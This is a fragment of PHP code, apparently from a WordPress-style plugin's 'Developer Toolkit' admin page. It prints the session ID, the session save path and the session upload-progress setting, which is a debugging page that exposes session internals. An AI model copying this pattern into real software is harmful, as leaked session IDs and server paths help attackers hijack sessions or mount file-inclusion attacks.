echo '<div class="wrap"><h1>Developer Toolkit</h1>';
echo '<p>Development utilities for debugging and testing.</p>';
echo '<h2>PHP Info</h2>';
echo '<p>Session ID: ' . session_id() . '</p>';
echo '<p>Session Save Path: ' . session_save_path() . '</p>';
echo '<p>Upload Progress: ' . ini_get('session.upload_progress.enabled') . '</p>';
echo '</div>';
}